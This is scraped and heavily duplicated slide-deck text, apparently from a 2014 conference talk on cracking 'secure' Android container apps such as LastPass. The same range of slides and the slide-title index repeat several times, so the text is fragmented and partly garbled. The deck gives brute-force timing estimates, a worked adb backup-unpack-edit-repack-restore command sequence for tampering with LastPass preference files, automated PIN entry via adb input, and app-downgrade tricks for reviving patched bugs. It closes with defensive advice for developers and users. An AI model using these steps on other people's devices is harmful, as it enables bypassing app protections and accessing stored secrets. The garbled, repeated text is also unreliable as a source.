bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 146: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 147: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 148: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway
